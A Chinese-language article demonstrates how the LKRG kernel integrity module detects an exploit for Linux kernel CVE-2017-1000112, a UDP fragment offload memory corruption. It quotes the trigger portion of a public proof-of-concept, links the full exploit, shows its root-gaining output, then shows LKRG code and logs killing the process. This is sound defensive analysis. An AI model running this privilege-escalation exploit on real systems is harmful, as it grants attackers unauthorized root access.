一、背景

從文章Linux Kernel運行時安全檢測之LKRG-原理篇可以看到，LKRG可以對正在運行的Linux內核進行檢測，并希望能夠及時響應對正在運行的進程用戶id等憑證未經授權的修改(完整性檢查)。對于進程憑據，LKRG嘗試檢測漏洞，并在內核根據未經授權的憑據授予訪問權限(例如打開文件)之前采取行動。并且是以可加載的內核模塊的形式，檢測正在運行的內核是否存在更改情況，以表明正在對其使用某種類型的漏洞利用。除此之外，它還可以檢查系統上運行的進程，以查找對各種憑證的未經授權修改，以防止這些更改授予額外的訪問權限。

以上LKRG的特性，主要是為了保護運行時內核本身的完整性，但漏洞利用通常會針對系統上運行的進程，以提高特權等，這些信息保存在內核的內存中。因此LKRG還會跟蹤每個進程的一系列不同屬性，并維護自己的任務列表，用于驗證內核的列表。如果兩個進程發生分歧，則終止受影響的進程，目的是在被漏洞利用差異之前進行防御。

下面從具體實例的角度來具體分析LKRG，讓大家了解LKRG在內核安全檢測方面所能實現的效果和其功能所體現出的價值。也是再次強調，任何一項策略和方案，可以作為系統級別縱深防御策略的其中一道防線，但不是“一招勝天”的靈丹妙藥。

二、CVE-2017-1000112

（UDP路徑轉換異常，導致memory corruption）

內核版本：Linux 4.12.6及以下存在此漏洞，內核4.12.7版本上已修復UFO機制——UDP fragment offload

官方網站對這個漏洞的描述如下：

* 在Linux內核中的UFO到Non-UFO的路徑轉換時，存在異常內存崩潰。在構建一個UFO數據包時，內核會使用MSG_MORE __ip_append_data()函數來調用ip_ufo_append_data()并完成路徑的添加。

* 但是在這兩個send()調用的過程中，添加的路徑可以從UFO路徑轉換為非UFO路徑，而這將導致內存崩潰的發生。為了防止UFO數據包長度超過MTU，非UFO路徑的copy = maxfraglen – skb->len將會變成false，并分配新的skb。這將會出發程序計算fraggap = skb_prev->len – maxfraglen的值，并將copy = datalen – transhdrlen – fraggap設置為false。

Linux內核UFO到非UFO路徑轉換時的內存崩潰問題，在構建一個UFO數據包時，內核會使用MSG_MORE __ip_append_data()函數來調用ip_ufo_append_data()并完成路徑的添加。但是在這兩個send()調用的過程中，添加的路徑可以從UFO路徑轉換為非UFO路徑，而這將導致內存崩潰的發生，這也是個Linux網絡子系統內部漏洞的本地特權升級漏洞。

NIC (Network interface card) offload允許協議棧傳輸大于MTU(缺省為1500字節)的報文。當NIC offload時，內核將把多個數據包組裝成一個大數據包，并將其傳遞給硬件，由硬件處理IP碎片和分割成mtu大小的數據包。這種卸載通常用于高速網絡接口，以增加吞吐量，因為UFO可以發送大的UDP包。

以下為截圖Github相關PoC中的流程部分，源代碼路徑：https://github.com/xairy/kernel-exploits/blob/master/CVE-2017-1000112/poc.c

int s = socket(PF_INET, SOCK_DGRAM, 0);        //創建UDP Socket    if (s == -1) {        perror("[-] socket()");        exit(EXIT_FAILURE);    }
    struct sockaddr_in addr;    memset(&addr, 0, sizeof(addr));    addr.sin_family = AF_INET;    addr.sin_port = htons(8000);    addr.sin_addr.s_addr = htonl(INADDR_LOOPBACK);
    if (connect(s, (void*)&addr, sizeof(addr))) {        perror("[-] connect()");        exit(EXIT_FAILURE);    }
    int size = SHINFO_OFFSET + sizeof(struct skb_shared_info);    int rv = send(s, buffer, size, MSG_MORE);    //用MSG_MORE發送pocket，通知內核我們稍后發送更多數據    if (rv != size) {        perror("[-] send()");        exit(EXIT_FAILURE);    }
    int val = 1;    rv = setsockopt(s, SOL_SOCKET, SO_NO_CHECK, &val, sizeof(val));    //關閉UDP checksum    if (rv != 0) {        perror("[-] setsockopt(SO_NO_CHECK)");        exit(EXIT_FAILURE);    }    send(s, buffer, 1, 0);        //下一次發送Non-UFO數據將觸發異常    close(s);

以上部分實驗代碼是說明要在內核中構建UFO包，調用send/sendto/sendmsg時使用MSG_MORE標志，它告訴內核將這個套接字上的所有數據積累到single diagram中，以便在執行沒有指定該標志的調用時傳輸，然后觸發漏洞利用。

Linux內核將信息包存儲在結構sk_buff (socket緩沖區)中，所有網絡層都使用該結構存儲信息包的頭部、關于用戶數據的信息(負載)和其他內部信息。

如上圖所示和poc.c可以看到，當使用MSG_MORE標志進行第一個發送調用時，__ip_append_data takes通過調用ip_ufo_append_data創建一個新的套接字緩沖區，在循環的第一次迭代中，copy的值變為負值，這將觸發新的套接字緩沖區分配。加上fraggap計算超過MTU而觸發分片，這將導致使用skb_copy_and_csum_bits函數從第一次發送調用創建的sk_buff中復制用戶負載到新分配的sk_buff。從源緩沖區復制指定數量的字節到目標sk_buff，并計算校驗。如果調用skb_copy_and_csum_bits的長度大于新創建的sk_buff邊界結束限制，則會覆蓋套接字緩沖區之外的數據，并破壞緊接在sk_buff前面的skb_shared_info結構。

test@ubuntu:~/CVE-2017-1000112$ gcc poc.c -o poctest@ubuntu:~/CVE-2017-1000112$ iduid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$ ./poc[.] starting[.] checking distro and kernel versions[.] kernel version '4.8.0-52-generic' detected[~] done, versions looks good[.] checking SMEP and SMAP[~] done, looks good[.] setting up namespace sandbox[~] done, namespace sandbox set up[.] KASLR bypass enabled, getting kernel addr[~] done, kernel text:   ffffffff82a00000[.] commit_creds:        ffffffff82aa5d00[.] prepare_kernel_cred: ffffffff82aa60f0[.] SMEP bypass enabled, mmapping fake stack[~] done, fake stack mmapped[.] executing payload ffffffff82a17c55[~] done, should be root now[.] checking if we got root[+] got r00t ^_^root@ubuntu:/home/test/CVE-2017-1000112# iduid=0(root) gid=0(root) groups=0(root) context=system_u:system_r:kernel_t:s0root@ubuntu:/home/test/CVE-2017-1000112# exitexittest@ubuntu:~/CVE-2017-1000112$

以上結果顯示執行成功，也就是漏洞利用成功，這類問題核心在于覆寫了cred/read_cred結構體。針對于以上漏洞利用的特點，可以利用LKRG的pCFI來檢測相關數據完整性以及檢測覆寫cred/read_cred結構體的功能，檢測SEMP、SMAP、KALSR等的修改，來實現對此類問的防御，下面為部分檢測代碼，全部代碼在：https://github.com/lkrg-org/lkrg/tree/main/src/modules/exploit_detection/syscalls/pCFI和p_exploit_detection.c

//創建creds Hookstatic const struct p_functions_hooks {
   const char *name;   int (*install)(int p_isra);   void (*uninstall)(void);   int p_fatal;   const char *p_error_message;   int is_isra_safe;
} p_functions_hooks_array[] = {   {     "security_bprm_committing_creds",         p_install_security_bprm_committing_creds_hook,     p_uninstall_security_bprm_committing_creds_hook,     1,     NULL,     1  -......
// dump  creds并對比結果notrace void p_dump_creds(struct p_cred *p_where, const struct cred *p_from) {
   /* Get reference to cred */   get_cred(p_from);
   /* Track process's capabilities */   memcpy(&p_where->cap_inheritable, &p_from->cap_inheritable, sizeof(kernel_cap_t));   memcpy(&p_where->cap_permitted, &p_from->cap_permitted, sizeof(kernel_cap_t));   memcpy(&p_where->cap_effective, &p_from->cap_effective, sizeof(kernel_cap_t));   memcpy(&p_where->cap_bset, &p_from->cap_bset, sizeof(kernel_cap_t));#if LINUX_VERSION_CODE >= KERNEL_VERSION(4, 3, 0)   memcpy(&p_where->cap_ambient, &p_from->cap_ambient, sizeof(kernel_cap_t));#endif
   /* Track process's IDs */   p_set_uid(&p_where->uid, p_get_uid(&p_from->uid));   p_set_gid(&p_where->gid, p_get_gid(&p_from->gid));   p_set_uid(&p_where->suid, p_get_uid(&p_from->suid));   p_set_gid(&p_where->sgid, p_get_gid(&p_from->sgid));   p_set_uid(&p_where->euid, p_get_uid(&p_from->euid));   p_set_gid(&p_where->egid, p_get_gid(&p_from->egid));   p_set_uid(&p_where->fsuid, p_get_uid(&p_from->fsuid));   p_set_gid(&p_where->fsgid, p_get_gid(&p_from->fsgid));
   /* Track process's securebits - TODO: research */   p_where->securebits = p_from->securebits;
   /* Track process's critical pointers */   p_where->user     = p_from->user;   p_where->user_ns  = p_from->user_ns;
   /* Release reference to cred */   put_cred(p_from);}},/

當在此版本內核中加載LKRG后，再次執行PoC，可以看到該漏洞利用已經被檢測并阻斷，從kernel log中可以清晰看到“Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]”：

test@ubuntu:~/CVE-2017-1000112$ iduid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$ ./poc[.] starting[.] checking distro and kernel versions[.] kernel version '4.8.0-52-generic' detected[~] done, versions looks good[.] checking SMEP and SMAP[~] done, looks good[.] setting up namespace sandbox[~] done, namespace sandbox set up[.] KASLR bypass enabled, getting kernel addr[~] done, kernel text:   ffffffff82a00000[.] commit_creds:        ffffffff82aa5d00[.] prepare_kernel_cred: ffffffff82aa60f0[.] SMEP bypass enabled, mmapping fake stack[~] done, fake stack mmapped[.] executing payload ffffffff82a17c55[~] done, should be root now[.] checking if we got rootKilledtest@ubuntu:~/CVE-2017-1000112$ iduid=1000(test) gid=1000(test) groups=1000(test),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),110(lxd),115(lpadmin),116(sambashare) context=system_u:system_r:kernel_t:s0test@ubuntu:~/CVE-2017-1000112$

ubuntu kernel: [  228.864932] [p_lkrg] Loading LKRG...ubuntu kernel: [  229.159677] [p_lkrg] LKRG initialized successfully!ubuntu kernel: [  235.372066] [p_lkrg]  Detected pointer swapping attack!process[2399 | poc] has different 'cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]ubuntu kernel: [  235.372104] [p_lkrg]  Detected pointer swapping attack!process[2399 | poc] has different 'real_cred' pointer [0xffff8d1bab32ed80 vs 0xffff8d1bb1a50180]ubuntu kernel: [  235.372137] [p_lkrg]  process[2399 | poc] has different UID! 1000 vs 0ubuntu kernel: [  235.372155] [p_lkrg]  process[2399 | poc] has different EUID! 1000 vs 0ubuntu kernel: [  235.372174] [p_lkrg]  process[2399 | poc] has different SUID! 1000 vs 0ubuntu kernel: [  235.372192] [p_lkrg]  process[2399 | poc] has different FSUID! 1000 vs 0ubuntu kernel: [  235.372210] [p_lkrg]  process[2399 | poc] has different GID! 1000 vs 0ubuntu kernel: [  235.372228] [p_lkrg]  process[2399 | poc] has different EGID! 1000 vs 0ubuntu kernel: [  235.372247] [p_lkrg]  process[2399 | poc] has different SGID! 1000 vs 0ubuntu kernel: [  235.372265] [p_lkrg]  process[2399 | poc] has different FSGID! 1000 vs 0ubuntu kernel: [  235.372284] [p_lkrg]  Trying to kill process[poc | 2399]!

三、結論

從上述例子可以看到，LKRG在非法提權中的覆寫cred/read_cred結構體這個類型的漏洞利用上，起到了關鍵的檢測和阻斷作用。當然，如上篇所說，可以通過一些方法來繞過LKRG，但復雜度和難度會成倍的增加，這也就是為什么會一直強調，任何一項策略和方案，可以作為系統級別縱深防御策略的其中一道防線，但不是“一招勝天”的靈丹妙藥，只有構建多層級防御矩陣，以及多個角度來解析安全問題，才會達到更好的效果。